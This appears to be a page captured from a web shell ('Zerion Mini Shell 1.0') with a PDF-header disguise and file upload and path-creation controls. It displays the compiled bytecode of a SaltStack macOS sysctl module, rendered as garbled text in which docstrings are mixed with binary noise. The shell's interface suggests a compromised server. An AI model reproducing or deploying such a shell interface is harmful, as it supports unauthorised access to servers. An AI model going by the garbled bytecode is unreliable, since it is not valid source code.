%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/mac_sysctl.pyc

�
���^c@@s�dZddlmZmZmZddlZddlZddlm	Z	ddl
mZdZd�Z
ed�Zd	�Zd
�Zded�ZdS(
u4
Module for viewing and modifying sysctl parameters
i(tabsolute_importtunicode_literalstprint_functionN(tCommandExecutionError(tsixusysctlcC@stddkrtStdfS(u,
    Only run on Darwin (macOS) systems
    uosuMacOSuUThe darwin_sysctl execution module cannot be loaded: Only available on macOS systems.(t
__grains__t__virtualname__tFalse(((s;/usr/lib/python2.7/site-packages/salt/modules/mac_sysctl.pyt__virtual__scC@sd}d}i}td|d
ddt�}dg}x�|j�D]�}tg|D]}|jdj|��^qT�r�|jd|kr�dndd�}t|�dkr�|d||d<qd||d<qD|drD||dcdj|�7<qDqDqDW|S(u�
    Return a list of sysctl parameters for this minion

    CLI Example:

    .. code-block:: bash

        salt '*' sysctl.show
    uauditudebuguhwukernumachdepunetusecurityuuseruvfsuvmu	sysctl -aucmd.runtoutput_loglevelutracetpython_shelluu{0}.u: u = iiiu{0}
(uauditudebuguhwuhwukernumachdepunetunetusecurityuuseruvfsuvm(t__salt__Rt
splitlinestanyt
startswithtformattsplittlen(tconfig_filetrootstcmdtrettouttcompstlinetroot((s;/usr/lib/python2.7/site-packages/salt/modules/mac_sysctl.pytshows4	1$
 cC@s)dj|�}td|dt�}|S(u�
    Return a single sysctl parameter for this minion

    name
        The name of the sysctl value to display.

    CLI Example:

    .. code-block:: bash

        salt '*' sysctl.get hw.physmem
    u
sysctl -n {0}ucmd.runR
(RRR(tnameRR((s;/usr/lib/python2.7/site-packages/salt/modules/mac_sysctl.pytgetQs
cC@s�i}dj||�}td|dt�}|ddkrZtdj|d���n|djd	d
�\}}|jd�d||<|S(
u
    Assign a single sysctl parameter for this minion

    name
        The name of the sysctl value to edit.

    value
        The sysctl value to apply.

    CLI Example:

    .. code-block:: bash

        salt '*' sysctl.assign net.inet.icmp.icmplim 50
    usysctl -w {0}="{1}"ucmd.run_allR
uretcodeiusysctl failed: {0}ustderrustdoutu:iu -> i����(RRRRR(RtvalueRRtdatatnew_namet	new_value((s;/usr/lib/python2.7/site-packages/salt/modules/mac_sysctl.pytassigncs	u/etc/sysctl.confc
C@scg}t}tj|�}tjj|�s�y2tjjj	|d��}|j
d�WdQXWq�ttfk
r�d}t
|j|���q�Xntjjj	|d��}x|D]}	tjjj|	�}	|	jdj|��s�|j|	�q�q�|	jdd�\}
}|jd	�rD|jd	d
�\}}
}nM|jd�rq|jdd
�\}}
}n |j�d}
|t|
�}|
|kr�d
S|jdj||��t}q�WWdQX|s�|jdj||��ng|D]}tjjj|�^q�}tjjj	|d��}|j|�WdQX|tkr_t||�dSdS(uW
    Assign and persist a simple sysctl parameter for this minion

    name
        The name of the sysctl value to edit.

    value
        The sysctl value to apply.

    config
        The location of the sysctl configuration file.

    apply_change
        Default is False; Default behavior only creates or edits
        the sysctl.conf file. If apply is set to True, the changes are
        applied to the system.

    CLI Example:

    .. code-block:: bash

        salt '*' sysctl.persist net.inet.icmp.icmplim 50
        salt '*' sysctl.persist coretemp_load NO config=/etc/sysctl.conf
    uw+u"#
# Kernel sysctl configuration
#
NuCould not write to file: {0}uru{0}=u=iu"iu'iuAlready setu{0}={1}
uUpdated and applieduUpdated(RRt	text_typetostpathtisfiletsalttutilstfilestfopentwritetIOErrortOSErrorRRtstringutilst
to_unicodeRtappendRRtTruetto_strt
writelinesR!(RRtconfigtapply_changetnlinesteditedt_fhtmsgtifileRtkeytrestt_trest_vt_ltofile((s;/usr/lib/python2.7/site-packages/salt/modules/mac_sysctl.pytpersistsH

(
(t__doc__t
__future__RRRR#tsalt.utils.filesR&tsalt.exceptionsRtsalt.extRRRRRRR!R@(((s;/usr/lib/python2.7/site-packages/salt/modules/mac_sysctl.pyt<module>s	
4		

Zerion Mini Shell 1.0